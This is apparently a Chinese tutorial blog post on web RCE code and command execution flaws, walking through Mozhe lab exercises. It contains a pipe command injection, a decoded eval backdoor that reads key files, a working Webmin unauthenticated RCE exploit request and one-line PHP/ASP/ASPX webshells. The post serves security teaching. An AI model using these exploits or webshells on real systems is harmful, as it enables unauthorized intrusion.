• 30:WEB漏洞RCE代码及命令执行漏洞全解


    思维导图

    在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。

    代码执行演示

    test.php脚本代码

    eval()函数会将传入的字符串当做代码来执行,若传入phpinfo();则会执行,显示如下

    传入echo 123;也会执行,显示123

    发现漏洞后,后续攻击可以执行一段代码,执行写入文件、读取文件等操作。

    命令执行演示

    test.php脚本代码

    system()函数会执行外部命令,若传入ipconfig则会执行,显示如下

    漏洞形成条件:可控变量&漏洞函数

    漏洞函数:几种常用语言,都有将字符串转化成代码去执行的相关函数。

    php:

    代码执行函数:

      • 1- eval()(特别注意:php中@符号的意思是不报错,即使执行错误,也不报错。)
      • 2- assert()
      • 3- call_user_func()
      • 4- create_function()
      • 5- array_map()
      • 6- call_user_func_array()
      • 7- array_filter()
      • 8- uasort()函数
      • 9- preg_replace()

    命令执行函数:

      • 1- system()
      • 2-passthru()
      • 3- exec()
      • 4- pcntl_exec()
      • 5- shell_exec()
      • 6- popen()/proc_open()
      • 7- 反引号 ``

    Python:exec等

    Java:Java中没有类似php中的eval函数这种直接可以将字符串转化成代码去执行的函数,但是有反射机制,并期望有各种基于反射机制的表达式引擎,如OGNL、SpEL等。

    代码/命令执行漏洞的查找:

    • 1.代码审计,比如网站使用开源CMS,则可以去网上搜索源代码审计。推荐站长之家:https://down.chinaz.com/
    • 2.漏洞工具扫描
    • 3.搜索引擎搜索公开漏洞
    • 4.手工查看参数值和功能点判断(参数值和脚本有关,如test.php?x=echo 等等)

    本课重点:

    • 案例1:墨者靶场黑盒功能点命令执行-应用功能
    • 案例2:墨者靶场白盒代码及命令执行-代码分析
    • 案例3:墨者靶场黑盒层RCE漏洞检测-公开漏洞
    • 案例4:Javaweb-Struts2框架类RCE漏洞-漏洞层面
    • 案例5:一句话Webshell后门原理代码-拓展说明

    案例1:墨者靶场黑盒功能点命令执行-应用功能

    墨者学院-命令注入执行分析:https://www.mozhe.cn/bug/detail/12

    <1>首页打开,输入127.0.0.1,显示Ping的结果,猜测这里可能有命令执行漏洞。

    <2>输入127.0.0.1|ls,尝试执行ls命令,发现报错“IP格式不正确”。(这里使用了linux命令中的管道符)

    <3>经过分析,发现是前端代码校验IP格式,可以采用禁用本地JS或者抓包的形式绕过。

    <4>下面直接抓包绕过

    首先找到flag文件

    然后读取flag文件

    本关主要是在不知道代码的情况下,通过网站功能点,盲猜有漏洞,并进行黑盒测试。

    案例2:墨者靶场白盒代码及命令执行-代码分析

    墨者学院-PHP代码分析溯源(第4题):https://www.mozhe.cn/bug/detail/13

    <1>首页打开发现提示key在根目录,且给出代码。

    <?php
    eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
    ?> 
    

    <2>这是base64加密+压缩的编码。简单方法就是直接把eval改成echo输出,执行

    <?php
    echo(gzinflate(base64_decode(‘40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==’)));
    ?>
    

    得到echo `$_REQUEST[a]`;; ?>,发现有命令执行漏洞

    <3>直接给a传入 ls,显示所有文件。发现key文件。

     

    <4>尝试读取key文件,直接用cat读取得到key(需要在源代码中查看),或者使用tac命令读取key(可以在页面直接显示)。

    http://219.153.49.228:44533/f.php?a=cat key_181541630618021.php

    http://219.153.49.228:44533/f.php?a=tac key_181541630618021.php

    案例3:墨者靶场黑盒层RCE漏洞检测-公开漏洞

    墨者学院-Webmin未经身份验证的远程代码执行:https://www.mozhe.cn/bug/detail/309

    Webmin是用于类似Unix的系统的基于Web的系统配置工具。该漏洞存在于密码重置页面中,该页面允许未经身份验证的用户通过简单的POST请求执行任意命令。

    <1>打开页面如下

    <2>直接网上搜索webmin漏洞,找到远程代码执行的EXP:

    POST /password_change.cgi HTTP/1.1
    Host: 10.10.10.142:10000
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: close
    Accept-Language: en
    Cookie: redirect=1; testing=1; sid=x; sessiontest=1
    Referer: https://10.10.10.142:10000/password_change.cgi/session_login.cgi
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 55
    cache-control: no-cache
     
     
    user=rootxx&pam=&expired=2&old=ls&new1=test2&new2=test2
    

    <3>尝试登录,抓包,将url和参数改为EXP,由于key在根目录下,我们直接“ls /”查看根目录下文件,找到key文件

    <4>读取key文件:cat /key.txt

    该漏洞利用条件:

    1. 系统开启密码修改功能
    2. 存在此漏洞的版本1.882-1.920

    修复建议:

    1. 升级版本
    2. 在版本1.900到1.920中编辑/etc/webmin/miniserv.conf,删除passwd_mode =行,然后运行/ etc / webmin / restart,以免系统受到攻击。

    案例4:Javaweb-Struts2框架类RCE漏洞-漏洞层面

    墨者学院-Apache Struts2远程代码执行漏洞(S2-016)复现:https://www.mozhe.cn/bug/detail/254

    S2-016:由于通过操作前缀为“action”/“redirect”/“redirectAction”的参数引入的漏洞。

    使用工具直接检测,居然没有发现S2-016,看到有S2-046就直接利用了。

    ls找到key文件

    cat查看key文件内容

    墨者学院-Apache Struts2远程代码执行漏洞(S2-037)复现:https://www.mozhe.cn/bug/detail/262

    直接网上搜索EXP利用

    ls找到key文件

    cat key.txt查看内容

    案例5:一句话Webshell后门原理代码-拓展说明

    常见的一句话木马:

    php的一句话木马: <?php @eval($_POST['pass']);?>
    asp的一句话木马:   <%eval request ("pass")%>
    aspx的一句话木马:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
    

    一句话木马的本质是向服务器写入了一个代码文件,而这个代码存在代码执行漏洞。

    而菜刀的原理是,提前写好了各种脚本,利用一句话木马中的代码执行漏洞,实现对服务器的增删改查。

    其他涉及资源:

    • JAVA web网站代码审计--入门:https://www.cnblogs.com/ermei/p/6689005.html
    • http://leanote.com/post/snowming/9da184ef24bd
  • 相关阅读:
    Mycat之按照时间进行分片
    Mysql binlog解析器
    字体属性和文本属性总结
    css选择器
    CSS的三种引入方式
    CSS样式语法
    应用程序与数据库结合使用的三种方式
    存储过程
    子查询
    多表查询
  • 原文地址:https://www.cnblogs.com/zhengna/p/15775737.html
Copyright © 2020-2023  润新知